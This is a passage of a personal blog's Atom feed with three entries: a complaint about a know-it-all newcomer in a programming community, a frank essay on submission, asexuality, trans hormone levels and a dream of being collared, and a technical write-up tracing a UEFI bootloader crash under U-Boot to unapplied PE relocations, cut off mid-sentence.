&lt;li&gt;He doesn’t really understand the language or its motivations yet, is trying to learn, but is way out of his depth still. That’s cool, so was I once.&lt;/li&gt;
&lt;li&gt;Despite this, though, he keeps trying to “help” people in areas he is still way out of his depth in, and like, should definitely be aware he is out his depth in. Blind leading the blind.&lt;/li&gt;
&lt;li&gt;When something doesn’t make sense, he starts going wild saying how it’s stupid, must be a bug, starts @mentioning the creator (who probably isn’t even online) saying “please tell me it’s a bug”. I hand-hold him and explain how, no, he’s just got it wrong, he calms down. Why be so belligerently wrong about something?&lt;/li&gt;
&lt;li&gt;In various chat rooms people will be discussing using certain features (or not using them) and he’ll start just kinda circlejerking with no-one in particular about how good it is that the language lets you do this, “unlike CERTAIN OTHER LANGUAGES”, but like, dude, shut up, we’re trying to have a conversation here?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It takes every fibre of my being to not be like “ok, just shut up,” but I’m &lt;em&gt;thoroughly&lt;/em&gt; irritated after a few weeks of this. The last one in particular is one I see a lot from new entrants to this community; they barely understand it but they have decided it’s the best thing ever and for some reason feel a need to go on about that, rather than just.. actually use it and make something.&lt;/p&gt;
&lt;p&gt;Maybe I’m hostile to the idea of people deciding to invest themselves in something they don’t understand well yet, perhaps because when I was young I did a lot of that while casting around for places to hang my identity up on.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>collared</title>
    <updated>2021-03-15T05:55:00Z</updated>
    <id>https://kivikakk.ee/xue/2021/03/15/collared</id>
    <link href="https://kivikakk.ee/2021/03/15/collared" />

    <content type="html">&lt;p&gt;I dreamt a dream that has left me unsettled all day.&lt;/p&gt;
&lt;h3&gt;backstory Ⅰ&lt;/h3&gt;
&lt;p&gt;Since I first had any kind of sexual inkling whatsoever — which is to say,
since I was 12 when I’d hang around on an 18+ BDSM-themed furry MUCK and began
RPing — I only ever had any inclination to be in a submissive position.  When
I found randoms to RP with, it was Asherah, the small pink bunny girl, wanting
to have anything and everything done to her, especially if consent lines got
blurry.&lt;/p&gt;
&lt;p&gt;Even then I had to power-bottom a little bit.  One rando I recall was only into
the most vanilla dynamics, whereas I kept wanting to up the ante.  (Tie me up!
Get creative with things!  Don’t just &lt;em&gt;fuck&lt;/em&gt; me, for christ’s sake.)  I got
bored.&lt;/p&gt;
&lt;p&gt;I also kinda..  baited an IRL friend who was a little too obsessed with me into
joining me on the server, and then kept trying to “suggest” him into doing
stuff to me.  (I’m not especially proud of it, but like.  I was 12, he was 13,
everything at home was completely fucked up, he was super into me and could
match my intelligence to boot, so.. now that we got furry MUCK-married,
couldn’t we furry MUCK-do-other-stuff too please?)&lt;/p&gt;
&lt;p&gt;This positioning of myself carried pretty strong for a while.  There is
probably a (bidirectional) link between that and trans feels.  It’s funny how
predictably some things go; I was ostensibly into girls, not boys (never mind
the actual physicality that existed between me and aforementioned IRL friend
for a while), but then I became a trans girl, and so liking other trans girls
is only natural, and then you stop seeing “dick” as a possibly unsettling thing
‘boys’ have (and you’re not sure about your own) but a hot thing girls have
too, and then you look at boys and you’re like, hm.  You sure could overpower
me.&lt;/p&gt;
&lt;h3&gt;backstory Ⅱ&lt;/h3&gt;
&lt;p&gt;Despite this, in relationships since I have often ended up being the one with
power.  Perhaps stemming from the same instinct that led to power-bottoming
before, I’d much rather we get &lt;em&gt;anywhere&lt;/em&gt; than nowhere, and I have a kind of..
exuberant personality that tends to draw in others who prefer to follow.  I am
naturally extremely protective, quite opinionated, have
&lt;a href=&quot;/xue/2020/10/07/motherhood&quot;&gt;mom-vibes&lt;/a&gt;, and until recently have been &lt;a href=&quot;https://poly.land/2019/11/25/confessions-of-a-recovering-people-pleaser-discovering-places-between-pushover-and-pusher/&quot;&gt;a
people-pleaser&lt;/a&gt;
to a fault.  Not knowing myself how to separate these qualities from those of a
~dominant~ has lead to me getting into places I’ve later not known how to
deal with.&lt;/p&gt;
&lt;p&gt;This mainly became a thing in two relationships, collectively spanning seven
years, or a majority of my post-transition life so far.&lt;/p&gt;
&lt;p&gt;In the first case I had a handle on life in many ways she did not yet (she was
quite a bit younger than me), and so I provided everything I could; housing, a
stable life away from sometimes violent parents, support for her relationships
and hobbies outside me, and later when I could afford it, university education.&lt;/p&gt;
&lt;p&gt;I’m a person who just wants to give, and as I’ve discovered lately in therapy,
one who doesn’t believe, strictly speaking, that I actually deserve nice
things.  Accordingly, giving nice things to other is a very sure route to
getting a similar sense of happiness, effectively, even if it does ultimately
mean I don’t get what I truly want, and ends up being unsustainable.  She
didn’t want many responsibilities of life and liked the sound of a more formal
and continuous D/s relationship, so I agreed to give it my best.  Our
relationship did not last the dissolution of the D/s layer of it (among &lt;em&gt;many&lt;/em&gt;
other issues, but this came to represent a lot about it).&lt;/p&gt;
&lt;p&gt;In the second case, she was a few years older than me, but with a heart of
absolute gold who had been mistreated a lot, both historically and more
immediately.  She nurtured a rare kindness and trust despite all that and I
felt so much like I wanted to safeguard that.  As our relationship quickly
deepened she wanted to know if I would be her “protector”, and I assented
immediately.  (And I still do. &lt;3)  Then in natural order, more D/s-style
parameters followed, and I put my all into it as well.  It just seemed to make
sense, and I had already so much of the “technique” down that the lack of
deep-felt enthusiasm for the role seemed of secondary concern for a time, or
not even—completely masked.  I couldn’t feel that I didn’t have my heart in
it, only that I wanted to make her happy.&lt;/p&gt;
&lt;p&gt;Once you get used to ignoring what you want for a long time, you lose touch
with it entirely.  It took a massive reconfiguration of our relationship to
accommodate removing this part of it — it had been in place from not even a
month after we started dating, and there we were some year and a half later
trying to imagine “us” without that.  It was the best, most correct decision,
but I still wish I’d figured this all out long ago and spared her the hurt.&lt;/p&gt;
&lt;p&gt;There &lt;em&gt;was&lt;/em&gt; one relationship in the past where I was explicitly the s to
someone else’s D, but we lacked harmony regarding what each of us wanted out of
a D/s relationship, and I found myself pushing for more than she wanted to give
(or, well, take).  It was fun being a rope bunny, though.&lt;/p&gt;
&lt;h3&gt;backstory Ⅲ&lt;/h3&gt;
&lt;p&gt;What triggered the reconfiguration was my own realisation of my asexuality.
I’d been slowly putting the pieces together for a while, and then one
well-timed acid trip and I just kind of blurted it out, at once &lt;a href=&quot;https://www.furia.com/page.cgi?type=twas&amp;amp;id=twas0495&quot;&gt;feeling the
surge of unverifiable
truth&lt;/a&gt;.  As I experienced
a moment of serenity, my partner a sense of loss of what was.  The relief of no
longer feeling beholden to the allo norms of sex-having then prompted the
follow-up question of whether I still wanted to be her dominant.  The writing
had been on the wall for a while, but it was then that the jig was finally up
and I seized the chance to say “no”, as painful as it was.  Pretending to be
something I was not was behind me.&lt;/p&gt;
&lt;p&gt;Living a mostly sexless life has been so much better for me.  I just don’t have
interest in being sexual with another, and just barely more interest in being
sexual by myself.  Still, it was in my own fantasies that my sexuality
originated, so it’s not too surprising that it does live on there a little.&lt;/p&gt;
&lt;p&gt;Last year I saw an endocrinologist for the first time since starting transition
(which seems super dumb in retrospect but what can you do, trans healthcare is
a &lt;em&gt;mess&lt;/em&gt;), and we discovered that both my E and T levels were way too low.  My
E was below the very conservative range put forth by the Australian medical
establishment (and well below what Americans would consider normal), and T
levels at almost absolute zero.  Even in natal women, T is in a clear non-zero
range, and completely lacking it could explain a lack of libido, which
certainly described me, as well as lack of energy in general.&lt;/p&gt;
&lt;p&gt;So I set to correcting my E levels, then T levels.  I’m now on ~3% of the
anti-androgen dose that I used to be on and my T levels have &lt;em&gt;just slightly&lt;/em&gt;
inclined upward.  They are still below the low watermark for “normal female
levels”, but at least I get a reading.&lt;/p&gt;
&lt;p&gt;I still don’t have any interest in being sexual with others, even though I’ve
had an inkling of a sex drive for a little while again now, so it doesn’t look
like the asexual descriptor was particularly linked to my hormones, but I’m
increasingly feeling a need to have some kind of a sexual relationship with
myself again.&lt;/p&gt;
&lt;h3&gt;the point&lt;/h3&gt;
&lt;p&gt;Last night I dreamt a dream — many, actually, with complicated
interconnections, people I didn’t recognise, other people who seem like maybe
they’re stand-ins for real people, a variety of settings, some drama unrelated
to all this.&lt;/p&gt;
&lt;p&gt;But there was one “segment” of it that left an indelible expression, because it
seemed like my unconscious needed to make a point.&lt;/p&gt;
&lt;p&gt;To date, I’ve never been collared by someone else in an impactful way.  The
tangible, real sense that you belonged to someone else now — even if
time-limited or otherwise scoped.  The understanding that it was not yours to
put on, or yours to remove, even if it was very much your collar.  I have
(attempted) to provide that experience for others, when in reality it was what
I wanted myself.  I’ve “self-collared” a bit here and there.&lt;/p&gt;
&lt;p&gt;In one distinct dream, I was collared.  I was strongly aware I was collared,
and moreover, I physically &lt;em&gt;couldn’t&lt;/em&gt; remove it even if I wanted to.  It was
locked.  It wasn’t up to me, and I just had to deal.&lt;/p&gt;
&lt;p&gt;It felt really, really good.  There was a sense that people might notice it,
that they might point it out to each other, and that I was &lt;em&gt;literally&lt;/em&gt;
powerless to do anything about it.  If I wanted to go about my day, I just had
to accept that this was my lot.&lt;/p&gt;
&lt;p&gt;I’ve never felt that before—that powerlessness.  Yet it’s what I’ve wanted
all along.&lt;/p&gt;
&lt;p&gt;The dream then offered a counterpoint.&lt;/p&gt;
&lt;p&gt;Later, somehow, the key came into my possession.  The dream didn’t describe the
actual supposed holder of the key, but the narrative seemed to be that whoever
had collared me needed me to hold onto the key now, too.  I wanted to be sure
not to lose it, so I put it on a necklace.&lt;/p&gt;
&lt;p&gt;The feeling was radically altered.  Having the means of unlocking it on my
person at all times meant it just became jewellery.  It was no longer an aspect
of control over me, just some ring with a finnicky clasp.  Being out in public
and being seen wearing it wasn’t a demonstration of someone else’s power over
me, just my own determination.  Frankly, as a trans person, somedays being seen
in public at all can require a fair bit of that.  This feeling barely
registered, the same lack of impact that self-collaring has.  I can always just
take it off.&lt;/p&gt;
&lt;p&gt;I want to feel that first one again.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Knowing when to look past your code</title>
    <updated>2021-02-28T00:00:00Z</updated>
    <id>https://kivikakk.ee/2021/02/28/loader</id>
    <link href="https://kivikakk.ee/2021/02/28/loader" />

    <content type="html">&lt;p&gt;There’s a weird tension in programming — on the one hand, as you learn the
ropes, you (hopefully) learn very quickly that the problem is almost &lt;em&gt;always&lt;/em&gt;
in your code, and not, say, the compiler, stdlib, kernel, etc.  This is usually
very correct; the people who’ve worked on those things have many times the
experience you did when you decided that there must be a bug in &lt;code&gt;printf&lt;/code&gt; or
something.&lt;/p&gt;
&lt;p&gt;You’ll later realise you tried to print something through a pointer to a
stack-allocated variable that’s long since gone.  These accusations tend to
wane as you gain familiarity with your subject matter, and wax as you step out
into lands populated with ever more footguns, exposing more of the architecture
than you ever suspected was there.  (See also: the emails from me to the libev
mailing list in 2011.)&lt;/p&gt;
&lt;p&gt;At some point, though, your journies will take you to places where things
aren’t so clear cut, and you’ll start to gain a sixth sense; a kind of visceral
experience that &lt;em&gt;things are not as they have been promised to be&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;A few weeks ago, that sixth sense whispered in my ear: “what
if, instead of your cruddy bootloader written in a pre-1.0 systems language for
a platform you don’t fully understand, it’s the 20 year-old project with 80,000
commits that’s wrong?”  And it was right.&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;a href=&quot;https://nossa.ee/~talya/daintree&quot;&gt;Daintree&lt;/a&gt;’s bootloader, dainboot, worked
great on QEMU, but would fail hard and fast on hardware with synchronous
aborts.  It’s a UEFI application, which means we get a lot for free – see how
easy it is to &lt;a href=&quot;https://nossa.ee/~talya/daintree/blob/main/c8ecf0131aba16fb6ef1991393b7088037526f77/dainboot/src/dainboot.zig?k=DEi0gv3gl4zRbNbrsYFIQjOJpon3AZrxunEnkE7ht4s%3D#L98-L160&quot;&gt;search connected FAT filesystems for
binaries&lt;/a&gt;.
I don’t particularly want to spend much effort on a bootloader, so this makes
sense to me.&lt;/p&gt;
&lt;p&gt;QEMU comes bundled with a build of &lt;a href=&quot;https://www.tianocore.org&quot;&gt;TianoCore EDK2&lt;/a&gt;,
which makes it really easy to get started.  On my ROCKPro64 I have a build of
&lt;a href=&quot;https://www.denx.de/wiki/U-Boot&quot;&gt;U-Boot&lt;/a&gt; installed to the eMMC, an extremely
versatile bootloader found on all kinds of devices&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-why-no-edk2-on-rk&quot; id=&quot;fnref-why-no-edk2-on-rk&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt;.  It
makes a TFTP-based development cycle remarkably pleasant.&lt;/p&gt;
&lt;p&gt;But different bootloaders mean very different execution environments.  For one,
EDK2 seems to execute the UEFI application in EL1, whereas U-Boot gives over
control in EL2.  There are many, many differences in the state of the various
system control registers.  And in this case, right in the beginning, we were
getting an exception in U-Boot before we’d done barely any work:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Booting /efi\boot\BOOTAA64.efi
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;AC&amp;quot;Synchronous Abort&amp;quot; handler, esr 0x96000010
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;elr: fffffffffd1c4d98 lr : fffffffffd1c4d5c (reloc)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;elr: 0000000078f07d98 lr : 0000000078f07d5c
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;x0 : 0000000000000000 x1 : 0000000000000000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;x2 : 000000007bfdf450 x3 : 000000000000004c
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;x4 : 0000000000002800 x5 : 000000007bfdf480
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;x6 : 000000007bfdcb50 x7 : 0000000079f71680
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;x8 : 0000000078f0ab78 x9 : 0000000000003b5c
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;x10: 0000000000000000 x11: 0000000000000020
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;x12: 000000000000ed83 x13: 000000000000ed9c
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;x14: 0000000079f29d28 x15: 0000000008100000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;x16: 0000000000000010 x17: 0000000000000000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;x18: 0000000000000000 x19: 000000007bf43b78
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;x20: 0000000079f29fa0 x21: 0000000078f10040
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;x22: 0000000000005800 x23: 0000000079f542e0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;x24: 000000007bff4eac x25: 0000000000000000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;x26: 0000000000000000 x27: 0000000000000000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;x28: 0000000079f4ba00 x29: 0000000079f29a30
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;Code: f9400fe8 f9400109 f94007ea 8b0a0129 (3940012b)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;UEFI image [0x0000000078f07000:0x0000000078f0c35f] pc=0xd98
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;           &amp;#39;/efi\boot\BOOTAA64.efi&amp;#39;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The disassembly showed that at &lt;code&gt;pc=0xd98&lt;/code&gt; in the image we were attempting to
load a byte from the address pointed to by register &lt;code&gt;x9&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;d98: 2b 01 40 39                   ldrb    w11, [x9]
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the register dump, &lt;code&gt;x9&lt;/code&gt; has the value &lt;code&gt;0000000000003b5c&lt;/code&gt;, whereas we are
clearly relocated much higher in memory (note the UEFI image offset; the &lt;code&gt;pc&lt;/code&gt;
is relative to that).  Should &lt;code&gt;x9&lt;/code&gt; actually have a higher computed address?  I
hacked some things together to get a register dump from a similar place in QEMU
(on EDK2, where this all worked):&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;(gdb) info registers
x0             0x0                 0
x1             0x2                 2
x2             0x1                 1
x3             0x5f46d944          1598478660
x4             0x43                67
x5             0x0                 0
x6             0x70616d6d          1885433197
x7             0x0                 0
x8             0x5c1f5b78          1545558904
&lt;strong style=&quot;text-decoration: underline;&quot;&gt;x9             0x5c1f5b5c          1545558876&lt;/strong&gt;
x10            0x0                 0
x11            0x64                100
x12            0x0                 0
x13            0x8                 8
x14            0x0                 0
x15            0x0                 0
x16            0x5f6b4ab0          1600866992
x17            0xffffa6ac          4294944428
x18            0x0                 0
x19            0x0                 0
x20            0x5f37d000          1597493248
x21            0x5f37f000          1597501440
x22            0x0                 0
x23            0x5f37f000          1597501440
x24            0x0                 0
x25            0x1                 1
x26            0x0                 0
x27            0x5f37f000          1597501440
x28            0x5f37d55d          1597494621
x29            0x5f6b45b0          1600865712
x30            0x5c1f2d5c          1545547100
sp             0x0                 0x0
pc             0x5c1f2da0          0x5c1f2da0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I’ve highlighted &lt;code&gt;x9&lt;/code&gt; – it has a value that’s clearly much more
valid-pointer-looking, and it even ends in &lt;code&gt;...b5c&lt;/code&gt;, which makes me think it’s
a corrected version of the &lt;code&gt;3b5c&lt;/code&gt; value we saw on the ROCKPro64.&lt;/p&gt;
&lt;p&gt;What could cause a register to have a correct-looking address on one platform
but not on the other?  Let’s look at the code up and until the point where
things fall apart.  Unfortunately, UEFI code objects are all
&lt;a href=&quot;https://en.wikipedia.org/wiki/COFF&quot;&gt;COFF&lt;/a&gt;s.  I’m super inexperienced with
these, and so too it turns out is the tooling in the area; I think it must be a
bit of a hack that Zig or LLVM knows how to produce them, because it also
produces a &lt;a href=&quot;https://en.wikipedia.org/wiki/Program_database&quot;&gt;PDB&lt;/a&gt; alongside that
presumably contains the debugging/line info, but then &lt;code&gt;llvm-objdump&lt;/code&gt; refuses to
use the same thing, helpfully declaring:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;llvm-objdump: warning: &amp;#39;dainboot/zig-cache/bin/BOOTAA64.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;rockpro64.efi&amp;#39;: failed to parse debug information for
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;dainboot/zig-cache/bin/BOOTAA64.rockpro64.efi
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/disas.jpg&quot; alt=&quot;Hand-written disassembly.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;(The right-hand page has the disassembly in reverse, since we only have the
state of registers at the point in time of the last instruction and have to
trace data dependencies backwards.  The precise values are different because
they shifted every time I added some breaks or debugging helpers anywhere.)&lt;/p&gt;
&lt;p&gt;I have no line numbers – it’s up to disassembly and guesswork.  Here’s the
former:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;d8c: 09 01 40 f9                   ldr     x9, [x8]
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;d90: ea 07 40 f9                   ldr     x10, [sp, #8]
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;d94: 29 01 0a 8b                   add     x9, x9, x10
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;d98: 2b 01 40 39                   ldrb    w11, [x9]
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I’ve grown very fond of aarch64 (dis)assembly.  Look at those four-byte
instructions.  This experience was a crash course in learning it.&lt;/p&gt;
&lt;p&gt;So what have we here?  Translated into pseudo-C:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The faulting instruction tries to load a byte from the address stored in
&lt;code&gt;x9&lt;/code&gt;, which we know to be &lt;code&gt;00003b5c&lt;/code&gt;, i.e. &lt;code&gt;w11 = *(u8 *)x9&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x9&lt;/code&gt; was calculated as &lt;code&gt;x9 = x9 + x10&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x10&lt;/code&gt; came from &lt;code&gt;x10 = *(sp + 8)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x9&lt;/code&gt; came from &lt;code&gt;x9 = *x8&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At first I thought that &lt;code&gt;x10&lt;/code&gt; must’ve been some relocation base, but it’s zero
on both QEMU and hardware.  The pointer is whatever we get from &lt;code&gt;x8&lt;/code&gt;, which is
&lt;code&gt;0000000078f0ab78&lt;/code&gt; on hardware and &lt;code&gt;0x5c1f5b78&lt;/code&gt; on QEMU.  The last few digits
line up nicely, again, so it looks like whatever’s at that address is a
relocated address on QEMU/EDK2 but just &lt;em&gt;not&lt;/em&gt; on ROCKPro64/U-Boot.  What even
is at that address?  Let’s look at the symbol table.&lt;/p&gt;
&lt;p&gt;U-Boot told us in the exception dump that the UEFI image was loaded at
&lt;code&gt;0x78f07000&lt;/code&gt;, so &lt;code&gt;0x78f0ab78&lt;/code&gt; is at offset &lt;code&gt;0x3b78&lt;/code&gt; from the start of the
image.  What’s that?  &lt;code&gt;objdump&lt;/code&gt; to the rescue.  It’s in our &lt;code&gt;.data&lt;/code&gt; section:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;3b70 287b737d 290d0a00 5c3b0000 00000000  (&amp;lbrace;s&amp;rbrace;)...........
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I really had to squint at this for a moment before realising that &lt;code&gt;0x3b78&lt;/code&gt;
actually contains a 64-bit pointer value, &lt;code&gt;0x00000000003b5c&lt;/code&gt; — in other
words, the exact value of &lt;code&gt;x8&lt;/code&gt; we saw!  So this was pulled directly out of the
loaded image.  Two questions arose: what &lt;em&gt;is&lt;/em&gt; it?  And how is it that QEMU/EDK2
got something different here?&lt;/p&gt;
&lt;p&gt;It felt off that it should point to a value directly before itself in memory.
Here’s context:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;3b50 02200000 00000000 00000000 6461696e  ............dain
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;3b60 74726565 20626f6f 746c6f61 64657220  tree bootloader 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;3b70 287b737d 290d0a00 5c3b0000 00000000  (&amp;lbrace;s&amp;rbrace;)...........
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A string!  &lt;code&gt;0x3b78&lt;/code&gt; points to &lt;code&gt;0x3b5c&lt;/code&gt;, which is the greeting string printed
from the bootloader.  Why this indirection in the binary itself?&lt;/p&gt;
&lt;p&gt;There are three sections in the PE/COFF files generated by the build process:
&lt;code&gt;.text&lt;/code&gt;, which contains the executable code, &lt;code&gt;.data&lt;/code&gt;, which contains strings
and other bits, and &lt;code&gt;.reloc&lt;/code&gt;.  It still felt like this was a relocation issue,
so I read Microsoft’s &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format&quot;&gt;PE
Format&lt;/a&gt;
documentation carefully.  &lt;code&gt;objdump&lt;/code&gt; was doing a lot of the heavy lifting for
us, but to really understand it, I wanted to &lt;a href=&quot;https://nossa.ee/~talya/daintree/blob/main/a5b20a28390fcf453945ed40b1accaa5e8f17f0f/tools/pe-parser.rb?k=7rDtxOwVgdngBHDKRiPDZNKGiLSj5t7R1Ihb5Svgstk%3D&quot;&gt;pull apart the format
myself&lt;/a&gt;.
This approach would turn out to be invaluable.&lt;/p&gt;
&lt;p&gt;The PE relocation section is comprised of a number of base relocation blocks,
which defines a 32-bit base address for the block, each with any number of
entries that specify the type of relocation and the 12-bit offset in that block
to apply it at.  Here’s a decoded &lt;code&gt;.reloc&lt;/code&gt; we got:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Page RVA: 0xa000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;28 relocations:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  0xaca8 0xacb8 0xacc8 0xacd8 0xace8 0xacf8 0xad08 0xad18
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  0xad28 0xad38 0xad48 0xad58 0xad68 0xad78 0xadc8 0xadd8
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  0xae10 0xae40 0xae90 0xaeb0 0xaef8 0xaf00 0xaf08 0xaf10
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  0xaf48 0xaf88 0xafb8 0xafe0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;Page RVA: 0xb000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;53 relocations:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  0xb010 0xb040 0xb070 0xb0c0 0xb100 0xb160 0xb188 0xb1a0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  0xb210 0xb240 0xb270 0xb2a0 0xb2d0 0xb300 0xb328 0xb370
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  0xb3b0 0xb3f8 0xb450 0xb4a0 0xb4b0 0xb4c8 0xb528 0xb578
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  0xb5c0 0xb610 0xb680 0xb6d0 0xb720 0xb778 0xb7c8 0xb7e0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  0xb848 0xb898 0xb8e8 0xb938 0xb9c8 0xba18 0xba68 0xbab8
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  0xbb08 0xbb58 0xbba8 0xbbd8 0xbc08 0xbc40 0xbcd0 0xbd20
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  0xbd70 0xbdc0 0xbe18 0xbe68 0xbea8
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;objdump&lt;/code&gt; couldn’t give us this!  (The addresses don’t line up with the above
because I continued to hack on and modify things, shifting everything in the
binary around.  This was as frustrating as it might seem.  These lined up
exactly with the indirection seen above.)&lt;/p&gt;
&lt;p&gt;For my purposes, I ignore all entries except of the type
&lt;code&gt;IMAGE_REL_BASED_DIR64&lt;/code&gt;: “The base relocation applies the difference to the
64-bit field at offset.”  It turns out Zig/LLVM only generates those, and they
work as simply as they sound: at the address specified by the relocation entry,
treat it as a 64-bit field and add the relocation offset to it.&lt;/p&gt;
&lt;p&gt;So, a PE loader should, after loading all data, visit all those addresses and
add the relocation offset to them.  It seemed like that was happening correctly
on QEMU/EDK2 — when we loaded the addresses, they had been shifted for us.
But why not on U-Boot?&lt;/p&gt;
&lt;p&gt;To answer this, I looked at the U-Boot source code.  And when looking wasn’t
enough, it was time to &lt;code&gt;printf&lt;/code&gt; debug, which meant getting a U-Boot build that
